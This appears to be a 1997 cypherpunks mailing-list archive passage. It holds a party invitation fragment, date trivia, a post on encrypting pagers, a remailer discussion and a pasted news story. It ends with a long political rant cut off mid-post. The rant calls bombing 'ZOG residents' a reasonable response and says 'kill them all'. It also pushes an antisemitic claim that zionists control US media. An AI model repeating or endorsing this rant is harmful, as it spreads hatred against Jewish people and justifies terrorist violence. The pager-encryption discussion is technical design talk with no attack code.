      (Smoke'em if ya got'em, but outside, please.
          the house is a smoke-free zone.)

                         RSVP

     Whether or not you are planning to attend, 
  we want to hear from you.  Please give the hosts 
 a call so we can plan on your presence OR absence.

   Invited guests may bring additional celebrants
  WITH PRIOR PERMISSION OF THE HOSTS.  This means
  you must call a host and get permission for EACH
 of the people you intend to bring.  The house is
big, but it is possible to have too many attendees.

                      YOUR HOSTS

       Head Anarchist in Charge, Sandy Sandfort
            510-839-3441/sandfort@crl.com

      House Hosts with the Most, Gracie & Zarkov
              510-832-2044/emyrt@aol.com

    Web page host Sameer Parekh and C2Net Software
              510-547-3617/sameer@c2.net

    P.S.  THERE WILL BE A LATE FEE OF 10 CENTS PER 
    MINUTE FOR EACH MINUTE YOU ARRIVE AFTER 8:00PM.  
 The party starts at 7:00, so you get an our for free.  
        Late fees will be used to defray costs.  
         (This is no joke.  More than $100 was 
      collected at each of the last two parties.)

   Pictures from the 2nd Occasional Masquerade Ball 
                    may be found at:

           http://www.c2.net/~sandy/web.htm


OCTOBER 18 IN HISTORY

This is "Any Way You Look at It" Day! 

On this day in 1961, Henri Matisse's painting, "Le Bateau" 
went on display in the Museum of Modern Art in New York City.  
For six days, nobody realized it was hanging upside down.

1842 - Samuel Finley Breese Morse, laid his first telegraph 
cable in New York Harbor between the Battery and Governor's 
Island.

1892 - The first long-distance telephone communication was 
established between the mayors of New York and Chicago.

1924 - The term "Four Horsemen" was used in a "New York Herald 
Tribune" article by columnist Grantland Rice.  The referenced 
Four Horsemen were the backfield of the University of Notre Dame 
which had beaten Army, 13-7. 

1935 - Victor record #25236 was recorded this day by Tommy Dorsey 
and his Orchestra. It would become one of the most familiar Big 
Band themes of all time: "I'm Getting Sentimental Over You". 

1943 - The first broadcast of "Perry Mason" was presented on CBS 
Radio. In the 15-minute (Monday-Friday) shows, Perry was played by 
Barlett Robinson, Santos Ortega, Donald Briggs and John Larkin. 
Larkin played the role the longest and was reportedly very 
disappointed when Raymond Burr got the gig on TV (1957). 

1944 - The epic book, "Forever Amber", was published.  This 
historic-romance novel was written by Kathleen Windsor. Although 
the book was very popular among women between the ages of 12 and 
24, it was considered scandalous to be seen reading it; a reaction 
that lasted at least another three decades. 

1956 - Football commissioner Bert Bell turned thumbs down on the 
use of radio-equipped helmets by NFL quarterbacks.  

1971 - The final issue of "Look" magazine was published. It had 
been a must-see publication every week for 34 years. 

1977 - Reggie Jackson made history and earned the nickname, 
Mr. October.  Regg-a-roo (as Howard Cosell called him) hit three 
home runs on three successive pitches leading the Yankees to an
8-4 thrashing of the LA Dodgers in Game 6 of the World Series. 

1979 - Following extensive renovation to return Radio City Music 
Hall to the look and feel of its 1931 Art Deco glory, the 
venerable New York City theatre reopened. "Snow White and the 
Seven Dwarfs" was the first live presentation. 

1983 - Kenny Rogers and Dolly Parton received some gold to add 
to their collections --for their smash, "Islands in the Stream". 


OCTOBER 18 BIRTHDAYS

1854 - Salomon Andree (explorer: ill-fated North Pole expedition) 

1859 - Henri Bergson (Nobel prize-winning philosopher, author: 
Creative Evolution) 

1898 - Lotte Lenya (Karoline Blamauer) (Tony Award-winning singer, 
actress: Threepenny Opera; From Russia with Love, Semi-Tough, 
Roman Spring of Mrs. Stone) 

1902 - Miriam Hopkins (actress: The Children's Hour, The Chase, 
Carrie, Barbary Coast) 

1906 - James Brooks (artist: Flight: 235 ft. mural at La Guardia 
National Airport, NY; abstract expressionist exhibit: Ninth Street 
Exhibition) 

1918 - Bobby Troup (actor: Emergency; singer, musician, TV host: 
Stars of Jazz; married to singer, Julie London) 

1919 - Pierre Elliott Trudeau (Prime Minister of Canada)

1925 - Melina Mercouri (actress: Never on Sunday, Once is Not 
Enough, Topkapi; Greece's Minister of Culture) 

1926 - Chuck (Charles Edward Anderson) Berry (singer: Lifetime 
Achievement Grammy; Maybellene, Roll Over Beethoven, School Day, 
Rock & Roll Music, Sweet Little Sixteen, Johnny B. Goode, My 
Ding-A-Ling; in film: Rock, Rock, Rock) 

1927 - George C. Scott (Academy Award-winning actor: Patton; 
Anatomy of a Murder, The Day of the Dolphin, The Hanging Tree, 
Taps, Oklahoma Crude, The Prince and the Pauper, The Murders in 
the Rue Morgue, Malice) 

1928 - Keith Jackson (sportscaster: ABC Sports, Wide World of 
Sports) 

1933 - Peter Boyle (Emmy Award-winning actor: The X-Files; Taxi 
Driver, While You were Sleeping, Young Frankenstein, Midnight 
Caller, From Here to Eternity [TV]) 

1933 - Forrest Gregg (Pro Football Hall of Famer: Green Bay 
Packers offensive tackle: Super Bowl I, II; Dallas Cowboys: Super 
Bowl VI; head coach: Cleveland Browns, Cincinnati Bengals: AFC 
Coach of the Year [1981]: Super Bowl XVI; Green Bay Packers; 
Southern Methodist University Athletic Director) 

1934 - Inger Stevens (Stensland) (actress: The Farmer's Daughter, 
Madigan, A Guide for the Married Man, Hang 'Em High) 

1937 - Boyd Dowler (football: Green Bay Packers wide receiver: 
Super Bowl I, II) 

1939 - Mike Ditka (Pro & College Football Hall of Famer: Chicago 
Bears Rookie of the Year; Philadelphia Eagles; Dallas Cowboys 
tight end: Super Bowl V, VI; Chicago Bears head coach:  Super Bowl 
XX; TV sports analyst: NBC Sports) 

1943 - Willie Horton (baseball: Detroit Tigers outfielder) 

1947 - Laura Nyro (singer: Up on the Roof; songwriter: Wedding 
Bell Blues, Blowin' Away, And When I Die, Stoney End, Stoned Soul 
Picnic, Sweet Blindness, Eli's Coming, Time and Love, Save the
Country) 

1950 - Wendy Wasserstein (writer: The Heidi Chronicles, Bachelor 
Girls) 

1951 - Pam Dawber (actress: Mork & Mindy, My Sister Sam) 

1952 - Jerry Royster (baseball: LA Dodgers pitcher) 

1960 - Jean Claude Van Damme (actor: Kickboxer, Universal Soldier, 
Double Impact, Hard Target, Nowhere to Run, Predator II) 

1961 - Erin Moran (actress: Happy Days, Joanie Loves Chachi, The 
Don Rickles Show, Daktari, Galaxy of Terror, Twirl, Watermelon 
Man, How Sweet It Is!) 

1961 - Wynton Marsalis (Grammy Award-winning musician: jazz/
classical trumpet:  Think of One [1983]; played on: Father & Sons; 
in orchestra: Sweeney Todd; composer: TV theme song for Shannon's 
Deal) 


OCTOBER 18 CHART TOPPERS

1957 
Chances Are/The Twelfth of Never - Johnny Mathis 

Jailhouse Rock - Elvis Presley 

Be-Bop Baby/Have I Told You Lately That I Love You - Ricky Nelson 

Wake Up Little Susie - The Everly Brothers 


1965 
Yesterday - The Beatles 

Treat Her Right - Roy Head 

You've Got Your Troubles - The Fortunes 

Behind the Tear - Sonny James 

1973 
Half-Breed - Cher 

Ramblin' Man - The Allman Brothers Band 

Angie - The Rolling Stones 

Ridin' My Thumb to Mexico - Johnny Rodriguez 

1981 
Arthur's Theme (Best that You Can Do) - Christopher Cross 

For Your Eyes Only - Sheena Easton 

Private Eyes - Daryl Hall and John Oates 

Step by Step - Eddie Rabbitt 


THIRD SATURDAY IN OCTOBER

Sweetest Day

Frabjous Day

Ironman Triathalon


MISC.

Persons Day (Canada)

St. Luke's Day (patron of doctors, painters, glassmakers, artists, 
butchers, notaries,
sculptors)

Festival of Poetic Terrorism

Alaska Day

Pandrosos (Greek all-refreshing Goddess)

Great Horn Fair (Kent, UK)

National Chocolate Cupcake Day

Chile Independence Day

No Beard Day

Lukesmas

International Credit Union Day 

Ivory Soap invented

1st Art school opened

Sandblasting patented

BBC Radio established (1922)

H.E.W. banned cyclamates

Brotherhood of the Cooperative Commonwealth founded (1895)

Puerto Rico became US Colony (1898)

Lincoln shaved off his beard

Hi and Lois comic strip began (1954)

Water Pollution Control Act passed (1972)

XYZ Affair

Citroen 2CV automobile introduced (1948)

Roseanne debuted (1988)

1st War Crimes trial began (1945)

Disney's Jungle Book premiered

John Lennon and Yoko Ono arrested for marijuana possession 
(London; 1968)

Rules of American Football 1st formulated (1873)

US attacked Iranian oil rig in retaliation for gunboat attacks 
(1987)

International Court of Justice at the Hague announced (1907)

UK declared Canadian women to be "persons" (1929)
 
Louis XIV revoked the Edict of Nantes forcing many protestants 
(aka Huguenots) to flee France (1685)

Teddy Roosevelt is ridiculed in the press for inviting black 
leader Booker T. Washington to the White House (1901)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 1 Oct 1997 15:37:39 +0800
To: cryptography@c2.net
Subject: Encrypting Pagers is Easy!   [Overview, technical tradeoffs, crypto]
Message-ID: <3.0.3.32.19971001000255.006abcec@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



One of the articles on the White House Pager Hack quoted a government official
saying that encrypting pagers would be complicated and difficult.
	http://jya.com/potus-hack.htm
	http://www.inch.com/~esoteric/pam_suggestion/formal.html
In fact, it's available today from several sources:

1)Digital PCS, in TDMA, GSM1900, and CDMA, though US coverage isn't complete 
  (as of May 97, AT&T had service in 40% of the US land area, 80% population, 
  and the GSM1900 players are expecting wide coverage later this year
  (e.g. PacBell and OmniPoint), plus Sprint PCS and other players are there.)
  There's a white paper on AT&T's Digital PCS at http://jya.com/digipcs.html
  which talks somewhat about the security.  Phil Karn's posted some articles 
  in the past about on the NSA's armtwisting that kept the cellphone
encryption
  from being strong enough for serious security, but if it's not good
enough for
  the White House, that's somewhat their fault.

2)Motorola's extremely cool PageWriter 2000 is a ~2"x2" programmable beeper
  with keyboard, 160x240 screen, crypto, operating system, and infrared.
  http://www.mot.com/MIMS/MSPG/Products/Two-way/pagewriter/
  says it uses the Flex Operating System and ReFLEX 2-way paging;
  the person who showed me the beta version said OS9 and GSM.
  I'd guess that Flex is OS9 with bells and whistles added, and that
  the pager's CPU is a 68000-family chip, and that either he's wrong about
  GSM or there's a second flavor coming out that does GSM.
  In any case, it's user-programmable, and Motorola has crypto support.

3)If you insist on pager service that's not part of the cellphone or beeper
  you were carrying already, or want wider coverage, it's still not very hard,
  and it can be done with or without the paging service's cooperation.  

4)PCMCIA cards in your PDA can get alpha pager, CDPD, ARDIS, RadioMail, etc.

A cypherpunk replied that the difficulty is the fault of US anti-crypto
policy.  It's also the fault of spectrum licensing policies creating a 
small number of  players in most markets and restricting what they can do 
"in the public interest", which has slowed deployment of new radio technology.

Making money at it may still be hard, since the government interference
fragments on the market and raises costs, but that's a separate problem, 
and if you can piggyback on existing developments like PCS and CDPD, 
it's a lot easier.   

Technology tradeoffs
--------------------

Pager-company approaches vs. end-user-based - for the former, you have to
convince the pager service and hardware companies there's a market;
for the latter, you don't change the service, just send encrypted data
using the alpha pager protocols, and soup up your pager to decrypt it.
For PCS or CDPD or other radio data systems, it's also just data.
If the pager company does the encryption, it's vulnerable to wiretaps and
escrow.

Relays - in a user-based system, you can either have the message sender
do the encryption, which means distributing your code and keys widely,
or run a relay box, e.g. Web page with SSL that handles the crypto and paging,
letting people who want to page you use a standard web browser.

Pager technology vs. crypto horsepower - basic pagers don't have a lot of
horsepower, but a general-purpose 8-bit processor chip should be able to do
RC4 in near-real-time, and maybe other symmetric-key algorithms. 
Public-key needs more horsepower - is it too slow for a pager-sized system?
Digital cellphones use plenty of CPU to handle voice and dumb crypto,
in not much more space, though they do use a lot more battery.
If you don't want to custom-build your own pagers, use a pager card in a PDA -
the Newton's had this for a while, and has a RISC CPU, so it's fast,
and there are HP DOS-based palmtops which are slower, though the new
Windows CE machines are probably faster than the previous generation.
There'll probably be Pilot PCMCIA versions, though that's slower,
and you can use Pilot with Metricom today and use Ian's PGP tools.
The upcoming Psion 5 uses a StrongArm CPU; don't know if it does PCMCIA.

Crypto issues
-------------
What about the crypto protocols themselves?  
Public-key is straightforward; if you use 1024-bit keys you can even skip
	the symmetric-key layer and just send 128-character messages 
	(or longer if you want to do Baudot or 7-bit ASCII :-)
	If you do public-key from the end user, it's secure, but all users need
	to use your public key to send you messages.
	If you do public-key from the pager company, all messages are encrypted,
	but the system is vulnerable to eavesdroppers and Escrow Cops.
	Does the response channel for two-way paging let you send arbitrary data,
	e.g. a Diffie-Hellman keypart?
Secret key has more choices, with varying vulnerabilities
- shared secret with pager company - dumb, works fine, you'd probably have the
	pager company set the secret key along with the pager parameters,
	and of course it's an obvious target for escrow and eavesdropping.
	For a mass-market service, this would be the most likely approach.
	Alternatively, you could have the manufacturer set the keys,
	along with setting the pager's internal ID, though that's a
	major security risk for both official and unofficial escrow
	(or, as Eric Hughes put it, "an opportunity for simultaneous employment" :-)
- user-managed relay from public-key to user's secret-key - 
	instead of paging you, people send public-key messages to your computer 
	(email, web page, etc.), which decrypts and re-encrypts with your secret key.
	For larger organizations, like the White House Communication Agency or 
	corporate or military groups, this could be run by a shared system which 
	knows all the group's keys.
- in either of these cases, you'd probably want to use the shared secret key
	to exchange a random session key rather than to encrypt the message directly,
	to reduce known and chosen plaintext attacks.
	Using RC4 directly doesn't work (known plaintext -> you lose),
	but can you do things like send IV, and encrypt using (Secretkey,IV) as a
key?
	Or use secretkey XOR IV?  Hash(Secretkey,IV) would be better, but 
	probably too slow, though I suppose you could do some cheap hash?

traffic analysis questions - if you buy the pager service in cash,
it's not very traceable - but how long will this be legal?
The relay approaches let your users send you pages without knowing your
pager number, which is good, but a phone tap or other eavesdropper can
presumably figure out who your relay is sending the message to.


				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bad BillyG <bbg@dev.null>
Date: Wed, 1 Oct 1997 16:09:03 +0800
To: cypherpunks@toad.com
Subject: Re: Windows 95 -- succinctly
In-Reply-To: <9709302122.AA02758@apache.BASISinc.com>
Message-ID: <3431F49B.203E@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Someone attempting to have Mike Denney assassinated wrote:
 
> Windows 95: n.
>         32 bit extensions and a graphical shell for a 16 bit
>         patch to an 8 bit operating system originally coded
>         for a 4 bit microprocessor, written by a 2 bit company,
>         that can't stand 1 bit of competition.

Anyone with information relating to the original author of the above
definition is encouraged to call 1-800-HIT-MAN1, or to contact
Microsoft Corporate Headquarters.

Please note that the above definition is considered to be proprietary
information owned by the Microsoft Corporation and any unauthorized use
of the definition will be considered grounds for the offending party 
and everyone they know to have their web sites rated 'Non-Existent' by
the InterNet Content Coalition, as described in Section 178.a, Sub.
C-23,
of the 'InterNet Secret Government Manifesto' of Sept. 5, 1997.

Bad BillyG
"Sure, I could tell you what operating system *I* use...but then I'd 
have to 'kill -9' you."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lynx_User@linux.nycmetro.com
Date: Wed, 1 Oct 1997 13:46:42 +0800
To: cypherpunks@ssz.com
Subject: standoff_1.html
Message-ID: <199710010518.BAA03827@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



                             Reuters New Media
                                      
                    [ Yahoo | Write Us | Search | Info ]
                                      
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
     _________________________________________________________________
   
   Previous Story: Gingrich Marks Contract With America Date
   Next Story: Gingrich Astonished at Gore on Campaign Reform
     _________________________________________________________________
   
   Saturday September 27 11:37 PM EDT 
   
Illinois Police Standoff Enters Sixth Day

   CHICAGO (Reuter) - A standoff between Illinois state police and a
   51-year-old widow in southern Illinois entered its sixth day Saturday
   with negotiations continuing but no progress seen, the police said.
   
   Sgt. Flynn Hanners of the Illinois State Police said negotiators have
   been contacting Shirley Ann Allen every 15 to 20 minutes to try to get
   her out of her house in Roby, about 15 miles east of the state capital
   Springfield.
   
   The standoff began Monday when Christian County sheriff's deputies and
   a family member attempted to serve court-ordered commitment papers for
   a psychological exam on Allen, he said.
   
   "Our whole design behind this is to get her out of the house and get
   her the medical attention she needs because she obviously has some
   mental illness that needs to be treated," Hanners said.
   
   He added that the police have been in constant contact with Allen's
   family and doctors and that a psychologist who works with the state
   police has been at the scene.
   
   Hanners said no activity has been seen since Friday morning when Allen
   fired a 12-gauge shotgun at officers and negotiators after the
   officers had fired six 12-gauge bean bag rounds at her, striking her
   three times.
   
   The officers fired after Allen left the house, faced the negotiators
   who were in plain view and raised the shotgun "as if to fire," he
   said.
   
   "Three of the six rounds struck her in the chest area, the midsection,
   but she was not stunned," he said. The bean bag shots are designed to
   knock someone to the ground, but Hanners said the shots had no effect
   on Allen, probably because of the number of layers of clothing she was
   wearing.
   
   Allen also fired at the police Tuesday when two officers has gotten
   close to the house "trying to get a look in," Hanners said. He added
   that power had been cut to the house temporarily Tuesday.
     _________________________________________________________________
                                      
                 ________________________ ___________ Help
     _________________________________________________________________
   
   Previous Story: Gingrich Marks Contract With America Date
   Next Story: Gingrich Astonished at Gore on Campaign Reform
     _________________________________________________________________
   
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
     _________________________________________________________________
   
                              Reuters Limited
                                      
                                      
    Questions or Comments





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Wed, 1 Oct 1997 17:13:15 +0800
To: cypherpunks@cyberpass.net
Subject: Re: DejaVu: Cypherpunks as Philosopher Kings
Message-ID: <3.0.32.19971001014341.0068afe0@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Attila T. Hun wrote:

>    the sleezeball, who intends to make J Edger look like a piker at 
>    surveillance, has the gleam of unabridged power in his eyes. Louis 
>    F[reeh,uck] is charming, even disarming, as he tells a Congressional
>    committee:
>
>        "We are potentially the most dangerous agency in the 
>        country if we are not scrutinized carefully." (Jun '97)
............................................................................


Since he says "we are ... dangerous ... if .... we are not scrutinized
carefully", I interpret this to mean that he is advising and warning that
the agency therefore *needs* to be kept under watchful surveillance, lest
it develop to the level of its worst potential. 

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Wed, 1 Oct 1997 15:44:09 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Ecash Remailer #1
Message-ID: <2fc89321ff44b393cf69c6c38a291e0f@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Bill Stewart wrote:
>At 08:25 PM 09/29/1997 -0400, Anonymous <anon@anon.efga.org> wrote:
>>This is a test of the first modern remailer to accept ecash.  Sorry for the
>>inconvenience.
>
>Which remailer is it?  anon.efga.org?  Or something forwarding
>through there?

Maybe Ian Goldberg would be kind enough to explain?  Messages sent to
ecash-remailer@cypherpunks.ca with payment pop out at anon.efga.org.
That's all I know.

Personally, I would like to see the message come from the
"ecash-remailer".  My guess is that people who pay 25 cents will write
more interesting messages.

Also, it (or a remailer after it) seems to be eating subject lines,
which is less than ideal.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNDHlQZaWtjSmRH/5AQGgZQf+IxxZ2Gqw28A/YtsVeqvEoI81z8+2Cznd
zqWUUY15RJSqOJpLhhK5XhJriNTgA5kA6encZkl3u3HtiMzj1UK9QWsbYbgQqYGD
Ue0XNE7m3R2EExu8q9+xk4Vk1dHyUMzPdBrHGUzFTzKBnfyL/InKirdtFFqZchhn
pOZjd1eClDyQskXP6NUIkoc+NSybkw4yBoFgVqcqWUJInxvDRdNQq+aSGL5IZ1ew
X1le5FtWviqqRAfkLPhLENRhEmn0Wgr7G6nnlDcOQbh/o8z+fcs7o3aCBmvAJCud
Vct6n+FqrDvgmr9Jm0WJXb4gehOb1iE18T7sR9cmPm3FV6WOUXEZVA==
=jlTZ
-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Wed, 1 Oct 1997 17:25:37 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash
In-Reply-To: <199710010759.JAA27558@basement.replay.com>
Message-ID: <3.0.3.32.19971001050358.0363ee34@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 09:59 AM 10/1/97 +0200, Anonymous (Monty Cantsin) wrote:
>It is my understanding that serious naval vessels like aircraft
>carriers use constant bandwidth channels to defeat traffic analysis.
>That is, to every place they might wish to communicate, they
>continuously broadcast encrypted information.  Most of the time the
>channel is empty, of course, but nobody outside can tell when.
>
>If we had a remailer network in which each customer had a constant
>bandwidth connection to one or more remailers, you could have zero
>latency mail.

Let me get this straight.  You are suggesting that anyone who wishes to be
anonymous should send a continuous 24 hour stream of low bandwidth data to
a central point in an effort to help keep anyone from knowing that they
wish to be anonymous.  

While this may help correct the latency problem, how do you think this will
effect anonymity?  Do you think that by sending a continuos stream of data
to the remailer, the sender will be less identifiable?


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Wed, 1 Oct 1997 13:59:40 +0800
To: Tim May <cypherpunks@cyberpass.net>
Subject: Call to arms against F[reeh,uck] [was] PGP and Hamas v. ZOG
In-Reply-To: <v03102803b0545dc14834@[207.167.93.63]>
Message-ID: <v03102803b0545dc14834@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 970928:1225 
    Tim May <tcmay@got.net> purported to expostulate:

    [snip Brad Dolan's announcement of Hamas crypto use...]

+But I told you all this several weeks ago. Through sources I have no
+intention of discussing, I discovered that PGP 5.0 is indeed being used
+by the Palestinia freedom fighters in their war against the Zionist
+occupiers of their homeland.  They got 5.0 shortly after it was
+released...and got it their forces by more direct means that that
+"public relations fig leaf" of scanning in source code.

    I'm sure they, like ANY other "terrorist", "undesirable", "foreign",
    "despicable" USG or LEA denigrated "scum" had an unlimited number
    of PGP5 copies the day it hit Egghead, or probably long before, and
    they were all using earlier, more manual, versions before that. 

    just how long after you walk out of Egghead does it take to send a
    copy to anywhere in the world. Of course, the _approved_ "gentlemen"
    such as the Karen freedom fighters rebels in Burma and other
    "approved" freedom fighters were probably given a hand carried
    copy from our state department.  I wonder if the Taleban fanatics
    received a courtesy copy?

    in other words, our clueless and power hungry, privacy denying 
    incompetents in Washington missed the boat again. If Hamas
    Liberation Fighters or the Freedom Fighters whatever, can not get US
    encryption, they will be forced to use inferior Russian encryption 
    --yeah, right!  justice is served?  does Washington really believe
    they can stop worldwide encryption if they stop US encryption. 
    America, the international 800 lb gorilla bully? Not in this case,
    you can not control crypto with guns anymore than you can forever
    suppress free speech.

    Next, as Tim points out, is the domestic political issue and the 
    total stupidity of the Clinton administration as they sacrifice
    smart diplomacy to satisfy a vocal and overly influential minority
    whose interests are completely contrary to the American reality. A
    zionist is a zionist before s/he is an American.

    and it is these same activists who will sell out our own privacy and
    security as US LEA and their friends kneejerk themselves into
    banning raw crypto, and castrating the Bill of Rights, justified by
    the hysterical "fact" HAMAS is free to pursue their policies of
    liberating their stolen land with PGP!  HAMAS did it before without
    PGP; life goes on.
  
+(The Palestinian farmer living in Jaffa, with title going back several
+generations, is not much impressed when a Jew from Krakow arrives with
+ZOG soldiers to expel him from his orange groves, citing the Old
+Testament as his title to the land. Any wonder that he and his children
+and their children think blowing up some ZOG residents is a reasonable
+response?)

    yup: the United Nations comes in and says that is so; the British
    evicted 300,000 Palestinians from their homes after WWII to cover
    their guilt of the Holocaust [actually, the reason the Brits carved
    up the holy land was to avoid taking all the refugees in], do you
    think that Palestinian farmer cares?  --they're all the same to him.
    kill them all; Allah is just.

    all that farmer knows is that someone he does not know, and for whom     
    he owes no allegience, says that land his family has had since the 
    diaspora is not his --he does not know what the diaspora was, and he 
    does not care.

+I described this use of PGP to some PGP, Inc. employees at the last
+Cypherpunks meeting. Two of them seemed deeply concerned. Apparently
+the "freedom fighters" that Phil Z. so conspicuously refers to, the
+Karen guerillas in the jungles of Myanmar/Burma, are somehow different
+from the Hamas freedom fighters seeking reclamation of their own land
+and destruction of the illegal ZOG state.

    yup, welcome to American liberals.  Read Friedman in the NY Times OpEd 
    pages: aggression is bad anywhere; unless, of course, the Israelis 
    are punishing the wicked Palestinians who have the audacity to
    ask for the land they owned for a 1000 years or so to be returned. 
    how many hundred thousand 'stateless' Palestinians does the King of
    Jordan support and suffer their political restlessness and sores
    from concentration camp conditions? they had homes before 1947. 
    Now, how many millions of stateless Palestinians are spread around 
    the Middle East, fermenting like bad wine?  how many generations of
    Palestinians have never known anything except the deprivation,
    poverty, and statelessness of the concentration camps?

    The Czechs, after WWII, forced over 500,000 ethnic Germans off land 
    they had been a part of for at least 20 generations, with almost 
    200,000 lives lost. anybody bother about that in history?  after 
    WWI, the Turks slaughtered the Armenians by the millions --still 
    denied in history. the list goes on; who's next?  if the US does not
    look after its quickly vanishing ideals, maybe we're next.

    it all depends on your perspective as to who is wearing the white hat; 
    and the official US position is HAMAS is a terrorist entity --NUTS. 
    HAMAS just wants what was taken from them returned; HAMAS actually
    started out as an organization to provide schooling and health care 
    for the Palestinians --and that is still HAMAS' major function. 
    like Hezbollah.

    Hezbollah has been transformed into a militant organization by the 
    military occupation of South Lebanon and Israel's support of the
    Lebanese Christian militia.  Hezbollah does not actually claim they 
    want to take Israel; they just want south Lebanon; sounds to me like
    a resistance movement like the free French in WWII who were legally 
    terrorists in their own land.  Why should Hezbollah be denied PGP? 
    we would have given it to the French Resistance.

    For almost 100 years, US governments have "impartially" considered 
    US foreign interests by the definition that "impartial" means in the
    _economic_ interests of a small class of banker and industrial
    moguls, movers, and shakers --with one major exception:  Israel,
    facilitated via the virtually total ownership and control of US 
    media by zionists:  NYTimes, Washington Post and Newsweek,
    Time-Warner, CBS, ABC, NBC, Disney, Los Angeles Times...  which is
    more than enough to control not only the media itself, but the
    access to the news itself.

    The concept that the US exports democracy and human rights is, and
    has been, a total fallacy in this century.  The United States 
    government is the world's largest dispensor of international terror 
    and governmental meddling --it's only business.

    The democratic ideals which Alex de Tocqueville waxed eloquently
    about American governmment in the 1830s, underpinned by _local_
    government, were washed away with the surrender of states' rights in
    the 14th amendment after the Civil War.

    In this century, the CIA (and predecessors) along with US 
    financial despots, like old Joe Kennedy and Senator Bush, have had a
    hand in either supporting a Hitler [Bush] or a Stalin [Kennedy] or
    de-stabilizing virtually every government in the world at one time
    or another --including destabilizing the Labour party in favour 
    of Iron Maggie's interests within the last 20 years.

    with the changing of the guard in Washington, I wonder if Major's 
    government was destabilized to further Clinton's interests, or to 
    silence the conservative Brits' derision of Bubba?  notice the tone 
    of Brit (well deserved) snotting on Clinton has changed since Tony 
    Blair took office.  

+PGP and strong crypto is spreading quickly to many freedom
+fighters...and even some terrorists (even by my definition). Who
+expected otherwise?

    absolutely so. US foreign policy has not been in the interest of the 
    United States for some time --it has been detrimental to US 
    interests since Bubba and his blind swamp rats assumed power --still
    thinking after 6 years they are on a campaign trail.

    supporting the Israeli political dictatorship who will take (or
    steal by espionage or reverse engineering US donated hardware) our
    secrets and sell them to the highest bidder is not in the best
    interests of the US.  the US learned nothing from the '72 oil
    embargo. and how the US can justify supporting 3 million _expensive_
    non-citizen units with annual multi-billions of our hard earned 
    dollars, while gaining the absolute enmity of a couple billion 
    other non-citizen units is beyond me.

    and Americans at home, even if they have been 'informed" that 
    America --not necessarily American individuals-- is the world bully,
    often worse than Russia (or the British Empire, which was rather
    fatherly in many ways), refuses to believe the U.S. still believes
    in gunboat diplomacy --to this day.  pax americana! 

    In one form of another, either by action or inaction --the sin of 
    commission or omission--, the US has dirty hands in the stinging
    indictment rendered against this century by Kofi A. Annan,
    Secretary-General of the UN, given for the MIT commencement ('97)

      I begin with the struggle between reason and unreason.  When the 
      history of the twentieth century is written, this struggle will
      figure very prominently in it.  On the plane of international
      affairs, the outbursts of unreason in this century surpass in
      horror and human tragedy any the world has seen in the entire
      modern era. From Flanders' fields to the Holocaust and the
      aggressions that produced World War II; from the killing fields of
      Cambodia and Rwanda to ethnic cleansing in Bosnia; from the
      twenty-five million refugees who roam the world today to untold
      millions, many of them children, who die the slow death of
      starvation or are maimed for life by land-mines--our century, even
      this generation, has much to answer for.

    but-- does this justify limiting the freedoms of US citizens? does 
    this give Mr. FBI movie personality F[reeh,uck] claim to unbridled
    power of surveillance?  F[reeh,uck] thinks it does.

    does the fact that HAMAS chose a superior US encryption product over
    an inferior international product justify banning encryption? US 
    enlightened foreign policy, national security, and LEAs think so.

    F[reeh,uck] and his LEA cheerleaders are nothing more than
    yesterdays dumb farmers who locked the barn door after the horse ran
    away. This does not speak well towards encouraging our confidence in
    the Beltway moles, blinded by years in the tunnel vision of power.

    be prepared for another emergency assault on encryption now that 
    HAMAS is "on board". lock the barn now that the horse is gone.

 --
 "Experience keeps a dear school, but fools will learn in no other."     
        --Benjamin Franklin
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Wed, 1 Oct 1997 14:45:09 +0800
To: "Timothy C. May" <cypherpunks@cyberpass.net>
Subject: DejaVu: Cypherpunks as Philosopher Kings
Message-ID: <199710010537.XAA11189@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

ten months ago: on or about 961218:1123 
    "Timothy C. May" <tcmay@got.net> purported to expostulate:

+_Direct action_ is what it's all about. Undermining the state through
+the spread of espionage networks, through undermining faith in the tax
+system, through even more direct applications of the right tools at the
+right times.
+
+When Cypherpunks are called "terrorists," we will have done our jobs.

    [Tim] said this before Christmas last year as an erudite and lengthy
